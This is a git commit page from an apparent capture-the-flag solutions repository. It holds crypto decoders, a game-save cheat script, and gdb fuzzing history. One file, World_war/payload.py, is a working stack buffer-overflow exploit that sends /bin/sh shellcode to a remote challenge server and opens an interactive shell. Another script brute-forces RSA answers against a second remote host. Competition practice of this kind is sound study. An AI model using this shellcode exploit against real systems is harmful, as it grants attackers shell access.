Christopher Yu пре 5 година
комит
9601394f3e
93 измењених фајлова са 669 додато и 0 уклоњено
  1. +12
    -0
      AsgamaCTF/Crypto/1byte_ROXy/decode.py
  2. +1
    -0
      AsgamaCTF/Crypto/Capek/base
  3. +10
    -0
      AsgamaCTF/Crypto/Capek/decryptloop.py
  4. BIN
      AsgamaCTF/Reverse/XOR_in_reverse/Xrev
  5. +194
    -0
      AsgamaCTF/Reverse/pwd/.gdb_history
  6. +1
    -0
      AsgamaCTF/Reverse/pwd/decode.py
  7. BIN
      AsgamaCTF/Reverse/pwd/pwdrev
  8. BIN
      CJ2018/Pwn/Dionysus/dionysus_client
  9. BIN
      CJ2018/Pwn/Dionysus/dionysus_server
  10. BIN
      GKSK/Crypto/GKSK_Crypto_Service/GKSK_CRYPTO_SERVICE.zip
  11. +26
    -0
      GKSK/Crypto/GKSK_Crypto_Service/decrypt.py
  12. +1
    -0
      GKSK/Crypto/GKSK_Crypto_Service/flag.enc
  13. +97
    -0
      GKSK/Crypto/GKSK_Crypto_Service/gksk_crypto_service.py
  14. +1
    -0
      GKSK/Joy/Hack_The_Game_v0.0.1/flag.txt
  15. BIN
      GKSK/Joy/Hack_The_Game_v0.0.1/version001
  16. +4
    -0
      GKSK/Joy/Hack_The_Game_v0.0.2/cheat.py
  17. +12
    -0
      GKSK/Joy/Hack_The_Game_v0.0.2/test.py
  18. BIN
      GKSK/Joy/Hack_The_Game_v0.0.2/version002
  19. +3
    -0
      GKSK/Pwn/World_war/.gdb_history
  20. +15
    -0
      GKSK/Pwn/World_war/payload.py
  21. +1
    -0
      GKSK/Pwn/World_war/peda-session-world_war.txt
  22. BIN
      GKSK/Pwn/World_war/world_war
  23. BIN
      GKSK/Reverse/Decimal1.0/Decimal_1.0
  24. +35
    -0
      IDCC/Crypto/DecryptME/decrypt.py
  25. +1
    -0
      IDCC/Crypto/DecryptME/enkripsi
  26. +35
    -0
      IDCC/Crypto/DecryptME/test.py
  27. +29
    -0
      SlashRoot/Crypto/RSA_Token_Generator/payload.py
  28. BIN
      TAMUCTF/Crypto/RSAaaay/Screenshot_20190302_214809.png
  29. BIN
      TAMUCTF/Crypto/RSAaaay/Screenshot_20190302_222836.png
  30. BIN
      TAMUCTF/Crypto/RSAaaay/Screenshot_20190302_223153.png
  31. BIN
      TAMUCTF/Crypto/RSAaaay/Screenshot_20190302_224641.png
  32. BIN
      TAMUCTF/Crypto/RSAaaay/Screenshot_20190302_224730.png
  33. BIN
      TAMUCTF/Crypto/RSAaaay/Screenshot_20190302_225328.png
  34. BIN
      TAMUCTF/Crypto/RSAaaay/Screenshot_20190302_225608.png
  35. BIN
      TAMUCTF/Crypto/Smile/Screenshot_20190302_231451.png
  36. BIN
      TAMUCTF/Crypto/Smile/Screenshot_20190302_231606.png
  37. BIN
      TAMUCTF/Crypto/Smile/Screenshot_20190302_232351.png
  38. BIN
      TAMUCTF/Crypto/Smile/Screenshot_20190302_232540.png
  39. +13
    -0
      TAMUCTF/Crypto/Smile/decoder.py
  40. BIN
      TAMUCTF/Misc/Hello_World/Screenshot_20190303_161722.png
  41. BIN
      TAMUCTF/Misc/Hello_World/Screenshot_20190303_163026.png
  42. BIN
      TAMUCTF/Misc/Hello_World/Screenshot_20190303_163249.png
  43. BIN
      TAMUCTF/Misc/Hello_World/Screenshot_20190303_163350.png
  44. +99
    -0
      TAMUCTF/Misc/Hello_World/decoder.py
  45. BIN
      TAMUCTF/Misc/I_heard_you_like_files/Screenshot_20190303_155553.png
  46. BIN
      TAMUCTF/Misc/I_heard_you_like_files/Screenshot_20190303_160033.png
  47. BIN
      TAMUCTF/Misc/I_heard_you_like_files/Screenshot_20190303_160404.png
  48. BIN
      TAMUCTF/Misc/I_heard_you_like_files/Screenshot_20190303_160559.png
  49. BIN
      TAMUCTF/Misc/I_heard_you_like_files/Screenshot_20190303_160905.png
  50. BIN
      TAMUCTF/Misc/I_heard_you_like_files/art.png
  51. +27
    -0
      TAMUCTF/Misc/I_heard_you_like_files/output/audit.txt
  52. BIN
      TAMUCTF/Misc/I_heard_you_like_files/output/pdf/00006657.pdf
  53. BIN
      TAMUCTF/Misc/I_heard_you_like_files/output/png/00000000.png
  54. BIN
      TAMUCTF/Misc/I_heard_you_like_files/output/zip/00006700.zip
  55. +3
    -0
      TAMUCTF/Misc/I_heard_you_like_files/output/zip/[Content_Types].xml
  56. +3
    -0
      TAMUCTF/Misc/I_heard_you_like_files/output/zip/_rels/.rels
  57. +2
    -0
      TAMUCTF/Misc/I_heard_you_like_files/output/zip/docProps/app.xml
  58. +2
    -0
      TAMUCTF/Misc/I_heard_you_like_files/output/zip/docProps/core.xml
  59. +1
    -0
      TAMUCTF/Misc/I_heard_you_like_files/output/zip/not_the_flag.txt
  60. +3
    -0
      TAMUCTF/Misc/I_heard_you_like_files/output/zip/word/_rels/document.xml.rels
  61. +2
    -0
      TAMUCTF/Misc/I_heard_you_like_files/output/zip/word/document.xml
  62. +2
    -0
      TAMUCTF/Misc/I_heard_you_like_files/output/zip/word/fontTable.xml
  63. BIN
      TAMUCTF/Misc/I_heard_you_like_files/output/zip/word/media/image1.png
  64. +2
    -0
      TAMUCTF/Misc/I_heard_you_like_files/output/zip/word/settings.xml
  65. +2
    -0
      TAMUCTF/Misc/I_heard_you_like_files/output/zip/word/styles.xml
  66. +10
    -0
      TAMUCTF/Reverse/KeyGenMe/.gdb_history
  67. BIN
      TAMUCTF/Reverse/KeyGenMe/Screenshot_20190302_233546.png
  68. BIN
      TAMUCTF/Reverse/KeyGenMe/Screenshot_20190302_233856.png
  69. BIN
      TAMUCTF/Reverse/KeyGenMe/Screenshot_20190302_234341.png
  70. BIN
      TAMUCTF/Reverse/KeyGenMe/Screenshot_20190302_234432.png
  71. BIN
      TAMUCTF/Reverse/KeyGenMe/Screenshot_20190302_235534.png
  72. BIN
      TAMUCTF/Reverse/KeyGenMe/Screenshot_20190303_000342.png
  73. BIN
      TAMUCTF/Reverse/KeyGenMe/Screenshot_20190303_000843.png
  74. BIN
      TAMUCTF/Reverse/KeyGenMe/Screenshot_20190303_001206.png
  75. BIN
      TAMUCTF/Reverse/KeyGenMe/Screenshot_20190303_001324.png
  76. BIN
      TAMUCTF/Reverse/KeyGenMe/Screenshot_20190303_001417.png
  77. BIN
      TAMUCTF/Reverse/KeyGenMe/Screenshot_20190303_001835.png
  78. BIN
      TAMUCTF/Reverse/KeyGenMe/Screenshot_20190303_002033.png
  79. +20
    -0
      TAMUCTF/Reverse/KeyGenMe/bruteforce.py
  80. BIN
      TAMUCTF/Reverse/KeyGenMe/keygenme
  81. BIN
      TAMUCTF/Secure_Coding/SQL/Screenshot_20190303_153550.png
  82. BIN
      TAMUCTF/Secure_Coding/SQL/Screenshot_20190303_153910.png
  83. BIN
      TAMUCTF/Secure_Coding/SQL/Screenshot_20190303_154148.png
  84. BIN
      TAMUCTF/Web/Many_Gigems_To_You/Screenshot_20190302_202844.png
  85. BIN
      TAMUCTF/Web/Many_Gigems_To_You/Screenshot_20190302_203307.png
  86. BIN
      TAMUCTF/Web/Many_Gigems_To_You/Screenshot_20190302_203644.png
  87. BIN
      TAMUCTF/Web/Many_Gigems_To_You/Screenshot_20190302_203910.png
  88. BIN
      TAMUCTF/Web/Not_Another_SQLi_Challenge/Screenshot_20190302_200611.png
  89. BIN
      TAMUCTF/Web/Not_Another_SQLi_Challenge/Screenshot_20190302_200703.png
  90. BIN
      TAMUCTF/Web/Not_Another_SQLi_Challenge/Screenshot_20190302_200832.png
  91. BIN
      TAMUCTF/Web/Robots_Rule/Screenshot_20190302_201534.png
  92. BIN
      TAMUCTF/Web/Robots_Rule/Screenshot_20190302_201719.png
  93. BIN
      TAMUCTF/Web/Robots_Rule/Screenshot_20190302_202358.png

+ 12
- 0
AsgamaCTF/Crypto/1byte_ROXy/decode.py Прегледај датотеку

@ -0,0 +1,12 @@
from pwn import *
cipher = "e7c1cdc1e3f4e6dbcfcec5ffc2d9d4c5ffd8cfd2d29f9fdd"
cipher = cipher.decode('hex')
for i in range(256):
plain = xor(cipher, i)
if "GamaCTF{" in plain:
print plain
break

+ 1
- 0
AsgamaCTF/Crypto/Capek/base Прегледај датотеку

@ -0,0 +1 @@
Vm0wd2QyUXlVWGxWV0d4V1YwZDRWMVl3WkRSV01WbDNXa1JTVjAxV2JETlhhMUpUVjBaS2RHVkdXbFppVkZaeVZtMTRTMk15VGtsalJtaG9UV3N3ZUZadGNFZFRNazE1VTJ0V1ZXSkhhRzlVVmxaM1ZsWmFkR05GU214U2JHdzFWVEowVjFaWFNraGhSemxWVmpOT00xcFZXbUZrUjA1R1pFWlNUbFpYZHpGV1ZFb3dWakZhV0ZOcmFHaFNlbXhXVm1wT1QwMHhjRlpYYlVaclVqQTFSMWRyV25kV01ERkZVbFJHVjFaRmIzZFdha1poVjBaT2NtRkhhRk5sYlhoWFZtMHhORmxWTUhoWGJrNVlZbFZhY2xWcVFURlNNVlY1VFZSU1ZrMXJjRmhWTW5SM1ZqSktWVkpZWkZwV1JWcHlWVEJhVDJOc2NFaGpSazVYVWpOb2IxWXhaRFJWTVVsNVZXNU9XR0pIVWxsWmJHaFRWMFpTVjJGRlRsTmlSbkJaV2xWYVQxWlhTbFpYVkVwV1lrWktSRlpxUVhoa1ZsWjFWMnhhYUdFeGNGbFhhMVpoVkRKTmVGcElUbWhTTW5oVVZGY3hiMWRzV1hoWGJYUk9VakZHTlZaWE5VOWhiRXAwVld4c1dtSkdXbWhaTW5oWFkxWkdWVkpzVGs1WFJVcElWbXBLTkZReFdsaFRhMlJxVW14d1dGbHNhRk5OTVZweFUydDBWMVpyY0ZwWGExcDNZa2RGZWxGcmJGZGlXRUpJVmtSS1UxWXhXblZVYkdocFZqSm9lbGRYZUc5aU1rbDRWMjVTVGxkSFVsWlVWbHBYVGxaV2RHUkhkRmROVjFKSldWVmFjMWR0U2tkWGJXaGFUVzVvV0ZreFdrZFdWa3B6VkdzMVYwMVZiekZXYlhCTFRrWlJlRmRzYUZSaVJuQnhWV3hrVTFsV1VsWlhiVVpPVFZad2VGVXlkREJXTVZweVkwWndXR0V4Y0hKWlZXUkdaVWRPUjJKR2FHaE5WbkJ2Vm10U1MxUXlUWGxVYTFwaFVqSm9WRlJYTlc5a2JGcEhWbTA1VWsxWFVsaFdNV2h2V1ZaS1IxTnNaRlZXYkhCNlZHdGFWbVZYVWtoa1JtaFRUVWhDU2xac1pEUmpNV1IwVTJ0b2FGSnNTbGhVVlZwM1ZrWmFjVk5yWkZOaVJrcDZWa2N4YzFVeVNuSlRiVVpYVFc1b1dGbHFTa1psUm1SWldrVTFWMVpzY0ZWWFYzUnJWVEZzVjFWc1dsaGlWVnB6V1d0YWQyVkdWWGxrUkVKWFRWWndlVll5ZUhkWGJGcFhZMGhLVjFaRldreFdNVnBIWTIxS1IxcEdaRTVOUlhCS1ZtMTBVMU14VlhoWFdHaGhVMFphVmxscldrdGpSbHB4VkcwNVYxWnNjRWhYVkU1dllWVXhXRlZ1Y0ZkTlYyaDJWMVphUzFJeFRuVlJiRlpYVFRGS05sWkdVa2RWTVZwMFVtdG9VRlp0YUZSVVZXaERVMnhhYzFwRVVtcE5WMUl3VlRKMGIyRkdTbk5UYkdoVlZsWndNMVpyV21GalZrcDFXa1pPVGxacmNEVldSM2hoVkRKR1YxTnVVbEJXUlRWWVZGYzFiMWRHWkZkWGJFcHNWbXR3ZVZkcldtOWhWMFkyVm01b1YxWkZTbkpVYTFwclVqRldjMXBHYUdoTk1VcFZWbGN4TkdReVZrZFdXR3hyVWpOU2IxbHNWbmRXTVZwMFkwZEdXR0pHY0ZoWk1HUnZWMnhhV0ZWclpHRldWMUpRVlRCVk5WWXlSa2hoUlRWWFltdEtNbFp0TVRCVk1VMTRWVmhzVlZkSGVGWlpWRVozWVVaV2NWTnRPVmRTYkVwWlZGWmpOV0pIU2toVmJHeGhWbGROTVZsV1ZYaFhSbFoxWTBaa1RsWXlhREpXYWtKclV6RmtWMVp1U2xCV2JIQndWakJhUzA1c1drZFZhMlJXVFdzeE5GWXlOVk5oTVVwMFZXNUNWMkpIYUVSVWJGcHJWbFpHZEZKdGNFNVdNVWwzVmxSS01HRXhaRWhUYkdob1VqQmFWbFp0ZUhkTk1XeFdWMjVrVTJKSVFrZFVNVlUxWVZaS1dWRllaRmhpUmxwb1ZrUktSMVl4VW5KWGJGSnBWbFp3V1ZaR1l6RmlNV1JIWWtoR1ZHRXhjSE5WYlRGVFYyeGtjbFpVUmxkTmEzQllWVEkxYjFZeFdYcGhTRXBhWVd0YWNsVnFSbGRqTWtaR1QxWmtWMVpHV2pKV2JHTjRUa2RSZVZaclpGZFhSM2h5VldwT1UySXhiSE5XYm1SWFRWZDRNVmt3VmpCV01rcEhZa1JhV2xaWGFFeFdNbmhoVjBaV2NscEhSbGRXTVVwUlZsUkNhMUl4U1hsU2EyaHBVbXMxY0ZVd1ZrdE5iRnB4VW0xR1ZrMVZNVFJXVm1oelZsWmtTR0ZIYUZaTlJuQm9WbTE0YzJOc1pISmtSM0JUWWtad05GWlhNVEJOUmxsNFYyNU9hbEpYYUZoV2FrNVRWRVpzVlZGWWFGTldhM0I2VmtkNFlWVXlTa1pYV0hCWFZsWndSMVF4V2tOVmJFSlZUVVF3UFE9PQ==

+ 10
- 0
AsgamaCTF/Crypto/Capek/decryptloop.py Прегледај датотеку

@ -0,0 +1,10 @@
from base64 import *
with open("base", "r") as file:
text = file.read()
decoded = ""
while True:
decoded = b64decode(text)
text = decoded
if(text.find("CTF{") != -1):
break
print text

BIN
AsgamaCTF/Reverse/XOR_in_reverse/Xrev Прегледај датотеку


+ 194
- 0
AsgamaCTF/Reverse/pwd/.gdb_history Прегледај датотеку

@ -0,0 +1,194 @@
b *main
r
ni
r
ni
si
ni
si
ni
pdisas c
b *0x0000000000400761
r
ni
si
ni
r
ni
si
ni
ni
r
r
r < $(python -c "print '\xde\x00\x00\x00'")
r <<< $(python -c "print '\xde\x00\x00\x00'")
ni
r <<< $(python -c "print '\xde\x00\x00\x00'")
ni
r <<< $(python -c "print '\xbe\x00\x00\x00'")
ni
r <<< $(python -c "print '\xef\xee\xbe\xad\xde'")
ni
r <<< $(python -c "print '\xef\xee\xbe\xad\xde'")
ni
si
ni
r <<< $(python -c "print '\xef\xee\xbe\xad\xde' + '\x1d\x00\x00\x00\x00'")
ni
r <<< $(python -c "print '\xef\xee\xbe\xad\xde'")
ni
si
ni
r <<< $(python -c "print '\xef\xee\xbe\xad\xde\x00\x02'")
ni
si
ni
r <<< $(python -c "print '\x20\x00\xef\xee\xbe\xad\xde'")
ni
r <<< $(python -c "print '\xef\xee\xbe\xad\xde'")
ni
r <<< $(python -c "print '\x02\x00\xef\xee\xbe\xad\xde'")
ni
r <<< $(python -c "print '\xef\xee\xbe\xad\xde'")
ni
si
ni
r <<< $(python -c "print '\xef\xee\xbe\xad\xde' + '\x1d\x00\x00\x00\x00'")
ni
r <<< $(python -c "print '\xef\xee\xbe\xad\xde' + '\x1d\x00\x00\x00\'")
ni
r <<< $(python -c "print '\xef\xee\xbe\xad\xde' + '\x00\x00\x00\x1d'")
ni
si
ni
r <<< $(python -c "print '\xef\xee\xbe\xad\xde' + '\xef\xee\xbe\x1d'")
ni
r <<< $(python -c "print '\xef\xee\xbe\xad\x1d'")
ni
pdisas c
b *0x0000000000400746
r <<< $(python -c "print '\xef\xee\xbe\xad\x22'")
ni
r <<< $(python -c "print '\xef\xee\xbe\xad\xde'")
ni
si
ni
r <<< $(python -c "print '\xef\xee\xbe\xad\xde\x11\x11\x11\x11\x1d'")
ni
r <<< $(python -c "print '\x11\x11\x11\x11\x1d\xef\xee\xbe\xad\xde'")
ni
r <<< $(python -c "print '\xef\xee\xbe\xad\xde' + 'a' * 4 + '\x1d'")
ni
r <<< $(python -c "print '\xef\xee\xbe\xad\xde'")
ni
si
ni
r <<< $(python -c "print '\xef\xee\xbe\xad\xde' + a * 8")
ni
r <<< $(python -c "print '\xef\xee\xbe\xad\xde' + a")
ni
r <<< $(python -c "print '\xef\xee\xbe\xad\xde'")
ni
r <<< $(python -c "print 'a' + '\xef\xee\xbe\xad\xde'")
ni
r <<< $(python -c "print 'a' * 8 + '\xef\xee\xbe\xad\xde'")
ni
r <<< $(python -c "print '\xef\xee\xbe\xad\xde'")
ni
si
ni
r <<< $(python -c "print '\xef\xee\xbe\xad\xde' + '\x1d\x1d\x1d\x1d'")
r <<< $(python -c "print '\xef\xee\xbe\xad\xde' + '\xde\x1d\x1d\x1d'")
r <<< $(python -c "print '\xef\xee\xbe\xad\xde' + '\x1d\x1d\x1d'")
ni
r <<< $(python -c "print '\xef\xee\xbe\xad\xde' + '\x00\x00\x00x1d'")
ni
si
ni
r <<< $(python -c "print '\xef\xee\xbe\xad\xde' + '\x00\x00\x00\x1d'")
ni
si
ni
r <<< $(python -c "print '\xef\xee\xbe\xad\xde' + '\x00' * 7 + '\x1d'")
ni
si
ni
r <<< $(python -c "print '\xef\xee\xbe\xad\xde' + '\x00' * 6 + '\x1d'")
ni
si
ni
r <<< $(python -c "print '\xef\xee\xbe\xad\xde' + 'a' * 7 + '\x1d'")
ni
r <<< $(python -c "print '\xef\xee\xbe\xad\xde' + 'a' * 7 + '\x1d'")
ni
r <<< $(python -c "print '\xef\xee\xbe\xad\xde' + '\x00' * 7 + '\x1d'")
ni
si
ni
r <<< $(python -c "print '\xef\xee\xbe\xad\xde' + '\x1d' + 'a' * 7")
ni
r <<< $(python -c "print '\xef\xee\xbe\xad\xde' + '\x1d' + '\x00' * 7")
ni
r <<< $(python -c "print '\xef\xee\xbe\xad\xde' + '\x00' + '\x1d' + '\x00' * 6")
ni
si
ni
r <<< $(python -c "print '\xef\xee\xbe\xad\xde' + '\x00' + '\x1d' + '\xd0' * 6")
ni
si
ni
r <<< $(python -c "print '\xef\xee\xbe\xad\xde' + '\x1d' + '\x00' * 7")
r <<< $(python -c "print '\xef\xee\xbe\xad\xde' + '\x00' * 3 + '\x00' * 4 + '\x1d'")
ni
si
ni
r <<< $(python -c "print '\xef\xee\xbe\xad\xde' + '\x00' * 7 + '\x1d'")
ni
si
ni
ni
r <<< $(python -c "print '\xef\xee\xbe\xad\xde' + '\x00' * 7 + 'a'")
ni
si
ni
r <<< $(python -c "print '\xef\xee\xbe\xad\xde' + '\x00' * 7 + 'a'")
ni
si
ni
r <<< $(python -c "print '\xef\xee\xbe\xad\xde' + '\x00' * 7 + 'a'")
ni
si
ni
r <<< $(python -c "print '\xef\xee\xbe\xad\xde' + '\x00' * 7 + 'a'* 7")
ni
si
ni
r <<< $(python -c "print '\xef\xee\xbe\xad\xde' + '\x00' + 'a'* 20")
ni
si
ni
r <<< $(python -c "print '\xef\xee\xbe\xad\xde' + '\x00' + 'a'* 40")
ni
si
ni
r <<< $(python -c "print '\xef\xee\xbe\xad\xde' + '\x00'*7 + '\x1e'")
ni
si
ni
r <<< $(python -c "print '\xef\xee\xbe\xad\xde' + '\x00' + '\x1e' * 7")
ni
si
ni
r <<< $(python -c "print '\xef\xee\xbe\xad\xde' + '\x00' + '\x1e' * 14")
ni
si
ni
r <<< $(python -c "print '\x00' + '\xef\xee\xbe\xad\xde' + '\x00' + '\x1e' * 14")
ni
r <<< $(python -c "print '\xef\xee\xbe\xad\xde' + '\x00' + '\x1e' * 13")
ni
si
ni
r <<< $(python -c "print '\xde' + '\x00' + '\x1e' * 13")
ni
r <<< $(python -c "print '\xef\xee\xbe\xad\xde' + '\x00' + '\x1e' * 13")

+ 1
- 0
AsgamaCTF/Reverse/pwd/decode.py Прегледај датотеку

@ -0,0 +1 @@

BIN
AsgamaCTF/Reverse/pwd/pwdrev Прегледај датотеку


BIN
CJ2018/Pwn/Dionysus/dionysus_client Прегледај датотеку


BIN
CJ2018/Pwn/Dionysus/dionysus_server Прегледај датотеку


BIN
GKSK/Crypto/GKSK_Crypto_Service/GKSK_CRYPTO_SERVICE.zip Прегледај датотеку


+ 26
- 0
GKSK/Crypto/GKSK_Crypto_Service/decrypt.py Прегледај датотеку

@ -0,0 +1,26 @@
import base64
secret_out = ''
secret_str = ''.join("gksk-secret-code".split("-"))
for count, loop in enumerate(secret_str):
if count % 2 == 0:
secret_out += ''.join([chr(ord(ch) + 0x3) for ch in loop])
else:
secret_out += loop
print secret_out
enc = open("flag.enc", "r").read()
shift_key = 0
while True:
shift_key += 1
cipher = base64.b64decode(enc)
alphabet = secret_out * 50
shifted_alphabet = alphabet[shift_key:] + alphabet[:shift_key]
flag = ''
for i in range(len(cipher[:-1])):
flag += chr((ord(cipher[i]) ^ shift_key) - ord(shifted_alphabet[i]))
if "GKSK{" in flag:
print flag
break

+ 1
- 0
GKSK/Crypto/GKSK_Crypto_Service/flag.enc Прегледај датотеку

@ -0,0 +1 @@
kraiqvy1qe+2oqi2kbSftqS3/KmknKHv7+/rwbj/pK+h8+XS8p+topm17b72sK2b8q6go/ygmaijtfaxoZipm67vv6un8Zu2r7ag4fLHqZGz9Jzxkbet/qG2t5Gpk/ywmLWg/8/LwcyftKmuqbycqZC1rKqzsLWdtqys79ujqqGprLDjoaacor2qqqqgvJHuo7Co0OebveWToojt9s6otrWQqe+psq6h7baa/qG2t5Gpk//+BQ==

+ 97
- 0
GKSK/Crypto/GKSK_Crypto_Service/gksk_crypto_service.py Прегледај датотеку

@ -0,0 +1,97 @@
#!/usr/bin/python2.7
# -*- coding: utf-8 -*-
import sys
import random
import base64
def banner():
return '''
Welcome to our brand new crypto service
________ _______ __ __ ____________ ______ __________ _____ __________ _ __________________
/ ____/ //_/ ___// //_/ / ____/ __ \ \/ / __ \/_ __/ __ \ / ___// ____/ __ \ | / / _/ ____/ ____/
/ / __/ ,< \__ \/ ,< / / / /_/ /\ / /_/ / / / / / / / \__ \/ __/ / /_/ / | / // // / / __/
/ /_/ / /| |___/ / /| | / /___/ _, _/ / / ____/ / / / /_/ / ___/ / /___/ _, _/| |/ // // /___/ /___
\____/_/ |_/____/_/ |_| \____/_/ |_| /_/_/ /_/ \____/ /____/_____/_/ |_| |___/___/\____/_____/
version [v2.1.19]
'''
def print_usage(script_argv):
print '[==USAGE==]\n'
print 'Encrypt File \t: %s -e [plaintext_file] [key]' % script_argv
print 'Decrypt File \t: %s -d [encrypted_file] [key]' % script_argv
print 'Generate Key \t: %s -g' % script_argv
print 'Help \t\t: %s -h\n' % script_argv
def shift_key():
key = random.randint(0x1, 0xff)
return key
def shuffle_secret():
secret_out = ''
secret_str = ''.join('gksk-secret-code'.split('-'))
for count,loop in enumerate(secret_str):
if count % 2 == 0:
secret_out += ''.join([chr(ord(ch) + 0x3) for ch in loop])
else:
secret_out += loop
return secret_out
def encryption(plain, shift):
try:
ciphertext = ''
length_msg = 50
with open(plain, 'rb') as bin:
data = bin.read()
shift = int(shift)
alphabet = shuffle_secret() * length_msg
shifted_alphabet = alphabet[shift:] + alphabet[:shift]
for a, b in zip(data, shifted_alphabet):
ciphertext += chr(ord(a) + ord(b) ^ shift)
with open(plain + '.enc', 'wb') as bin:
bin.write(base64.b64encode(ciphertext))
except ValueError:
print "ValueError : Range key [0-255]"
exit()
def decryption(enc_file, key):
with open(enc_file, 'rb') as bin:
data = bin.read()
'''NOT IMPLEMENTED YET'''
with open(enc_file + '.trial', 'wb') as bin:
bin.write(data)
def main():
print banner()
script_argv = sys.argv[0]
try:
mode = sys.argv[1]
if mode == '-e':
plaintext_file = sys.argv[2]
key = sys.argv[3]
encryption(plaintext_file, key)
print "\nSECRET KEY : ", shuffle_secret()
print '\nThankyou for using our service :)\n'
elif mode == '-d':
encrypted_file = sys.argv[2]
key = sys.argv[3]
decryption(encrypted_file, key)
print '\nNot implemented yet. Upgrade to premium, only $99999\n'
elif mode == '-g':
print 'Key : ', shift_key()
elif mode == '-h':
print_usage(script_argv)
else:
print_usage(script_argv)
except IndexError:
print_usage(script_argv)
if __name__ == '__main__':
main()

+ 1
- 0
GKSK/Joy/Hack_The_Game_v0.0.1/flag.txt Прегледај датотеку

@ -0,0 +1 @@
GKSK{4re_Y0u_53ri0usly_checking_f0r_b3t4_t3sT?}

BIN
GKSK/Joy/Hack_The_Game_v0.0.1/version001 Прегледај датотеку


+ 4
- 0
GKSK/Joy/Hack_The_Game_v0.0.2/cheat.py Прегледај датотеку

@ -0,0 +1,4 @@
import base64
cheat = "PlayerLevel=1;PlayerExp=1;PlayerHP=100;PlayerAtk=987654321;PlayerDef=987654321;PlayerName=ar"
print base64.b64encode(cheat)

+ 12
- 0
GKSK/Joy/Hack_The_Game_v0.0.2/test.py Прегледај датотеку

@ -0,0 +1,12 @@
cheat = "UGxheWVyTGV2ZWw9OTk5OTk5OTk5O1BsYXllckV4cD05OTk5OTk5OTk5O1BsYXllckhQPTk4NzY1NDMyMTtQbGF5ZXJBdGs9OTg3NjU0MzIxO1BsYXllckRlZj05ODc2NTQzMjE7UGxheWVyTmFtZT1Cb2Rv"
alphabet = "abcdefghijklmnopqrstuvwxyz"
newcheat = ""
for i in cheat:
if i in alphabet.upper():
newcheat += i.lower()
elif i in alphabet.lower():
newcheat += i.upper()
else:
newcheat += i
print newcheat

BIN
GKSK/Joy/Hack_The_Game_v0.0.2/version002 Прегледај датотеку


+ 3
- 0
GKSK/Pwn/World_war/.gdb_history Прегледај датотеку

@ -0,0 +1,3 @@
pattern create 500
r
pattern offset 0x65414149

+ 15
- 0
GKSK/Pwn/World_war/payload.py Прегледај датотеку

@ -0,0 +1,15 @@
shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80"
from pwn import *
r = remote("180.250.7.183", 51137)
r.recvuntil("coordinate : ")
buff = r.recvline()
buff = buff[:10]
buff = int(buff, 16)
buff = p32(buff)
payload = shellcode + "a" * (72-len(shellcode)) + buff
r.sendline(payload)
r.interactive()

+ 1
- 0
GKSK/Pwn/World_war/peda-session-world_war.txt Прегледај датотеку

@ -0,0 +1 @@

BIN
GKSK/Pwn/World_war/world_war Прегледај датотеку


BIN
GKSK/Reverse/Decimal1.0/Decimal_1.0 Прегледај датотеку


+ 35
- 0
IDCC/Crypto/DecryptME/decrypt.py Прегледај датотеку

@ -0,0 +1,35 @@
# Python2 ver.
# If you use Python3 interpreter, the trouble will be in print format
# [KSL Playground][Crypto][IDCC2018 DecryptME] written by Mr. Goodnight
# Link: https://euectf.stikom-bali.ac.id/challenges#[IDCC]%20DecryptME
# Flag: IDCC{S1mpl3_4nd_stR4ight}
from base64 import *
# Encryption algorithm
# ciphertext = plaintext + keys
with open('./enkripsi', mode = 'r') as f:
ciphertext = f.read()
# plaintext = ciphertext - keys
# Make my own function to decrypt the ciphertext
def decrypt(ciphertext, keys):
plaintext = ""
for num,char in enumerate (ciphertext):
plaintext += chr((ord(char) - ord(keys[num % len(keys)])) % 127)
return plaintext
# keys = ciphertext - plaitext
# Find the key by using known string attack
# Then I found out that the key is raja
known_string = b64encode("IDCC{")
keys = ""
for num,char in enumerate (known_string):
keys += chr((ord(ciphertext[num]) - ord(char)) % 127)
# Run the decrypt function the decode it
keys = "raja"
flag = b64decode(decrypt(ciphertext, keys))
print ("Flag: {f}".format(f = flag))

+ 1
- 0
IDCC/Crypto/DecryptME/enkripsi Прегледај датотеку

@ -0,0 +1 @@
F7=&D_6@9YU&9HA) MK9HL=RMSY3(

+ 35
- 0
IDCC/Crypto/DecryptME/test.py Прегледај датотеку

@ -0,0 +1,35 @@
from base64 import *
def enkripsi(plain, keys):
enc = []
plain = b64encode(plain)
for i, l in enumerate(plain):
kunci = ord(keys[i % len(keys)])
teks = ord(l)
enc.append(chr((teks + kunci) % 127))
#enc = teks + kunci
return ''.join(enc)
def findKey():
key = []
known = b64encode("IDCC{")
file = open("enkripsi", "rb")
file = file.read()
for i, l in enumerate(known):
kunci = ord(file[i])
teks = ord(l)
key.append((chr((kunci - teks) % 127)))
return ''.join(key)
def decryption():
key = "raja"
flag = []
file = open("enkripsi", "r").read()
for i, l in enumerate(file):
kunci = ord(key[i % len(key)])
cipher = ord(l)
flag.append(chr((cipher - kunci) % 127))
return ''.join(flag)
print findKey()
print b64decode(decryption())

+ 29
- 0
SlashRoot/Crypto/RSA_Token_Generator/payload.py Прегледај датотеку

@ -0,0 +1,29 @@
from pwn import *
r = remote("103.200.7.156", 1003)
r.recvuntil(">>> ")
r.sendline("2")
for i in range(5):
r.recvuntil("e = ")
e = r.recvline()
e = int(e[:-1])
r.recvuntil("n = ")
n = r.recvline()
n = int(n[:-1])
r.recvuntil("c = ")
c = r.recvline()
c = int(c[:-1])
p = 1000
while True:
if(pow(p, e, n) == c):
break
p +=1
r.sendline(str(p))
print "p = ", p
r.interactive()

BIN
TAMUCTF/Crypto/RSAaaay/Screenshot_20190302_214809.png Прегледај датотеку

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TAMUCTF/Crypto/RSAaaay/Screenshot_20190302_222836.png Прегледај датотеку

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TAMUCTF/Crypto/RSAaaay/Screenshot_20190302_223153.png Прегледај датотеку

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TAMUCTF/Crypto/RSAaaay/Screenshot_20190302_224641.png Прегледај датотеку

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TAMUCTF/Crypto/RSAaaay/Screenshot_20190302_224730.png Прегледај датотеку

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TAMUCTF/Crypto/RSAaaay/Screenshot_20190302_225328.png Прегледај датотеку

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TAMUCTF/Crypto/RSAaaay/Screenshot_20190302_225608.png Прегледај датотеку

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TAMUCTF/Crypto/Smile/Screenshot_20190302_231451.png Прегледај датотеку

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TAMUCTF/Crypto/Smile/Screenshot_20190302_231606.png Прегледај датотеку

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TAMUCTF/Crypto/Smile/Screenshot_20190302_232351.png Прегледај датотеку

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TAMUCTF/Crypto/Smile/Screenshot_20190302_232540.png Прегледај датотеку

